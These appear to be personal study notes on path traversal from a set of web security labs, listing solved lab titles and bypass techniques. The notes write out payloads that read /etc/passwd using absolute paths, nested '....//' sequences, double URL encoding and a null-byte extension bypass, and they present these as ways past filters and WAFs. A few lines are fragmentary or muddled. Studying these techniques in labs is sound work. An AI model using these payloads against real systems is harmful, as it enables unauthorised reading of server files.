

Path traversal

 LAB	APPRENTICE File path traversal, simple case →	✓ Solved
 LAB	PRACTITIONER File path traversal, traversal sequences blocked with absolute path bypass →	✓ Solved
 LAB	PRACTITIONER File path traversal, traversal sequences stripped non-recursively →	✓ Solved
 LAB	PRACTITIONER File path traversal, traversal sequences stripped with superfluous URL-decode →	✓ Solved
 LAB	PRACTITIONER File path traversal, validation of start of path →	✓ Solved
 LAB	PRACTITIONER File path traversal, validation of file extension with null byte bypass →	✓ Solved

Summary

../ is valid within a file path, and means to step up one level in the directory structure

On Windows, both ../ and ..\ are valid directory traversal sequences.

Many applications that place user input into file paths implement defenses against path traversal attacks.

These can often be bypassed.

If an application strips or blocks directory traversal sequences from the user-supplied filename, it might be possible to bypass the defense

by using absolute file path from the filesystem root

?q=/etc/passwd to directly reference a file without using any traversal sequences.

Nested traversal techniques such as// or\

....// = ../ + ../

But many apps fail to block variants, such as:

Double dots but repeated or nested

....//

....\

....//..//

..../

.. / .. / (with spaces removed server-side)

..%2F (URL-encoded)

.. / = go up 1 directory

... // = ../ + ../ → go up 2 directories

Example : You need 6 levels up?

6 directories ÷ 2 = 3 sequences of "....//"

Payload ://....//....//

Double URL encoding (double percent encoding)

Decoding of ..%252f..%252f..%252fetc/passwd

%25 decodes to %, so ..%252f..%252f..%252fetc/passwd → ..%2f..%2f..%2fetc/passwd

%2f decodes to /, so ..%2f..%2f..%2fetc/passwd → ../../etc/passwd\

Final decoded string: ../../etc/passwd

%2f is URL encoding for /

%252f is URL encoding of %2f, because:

%25 = %

So %252f → %2f → /

Useful for bypassing:

WAFs

filters that only decode once

blacklist path checks

What is %00?

%00 = null byte

Hex 00

"/etc/passwd\0.png"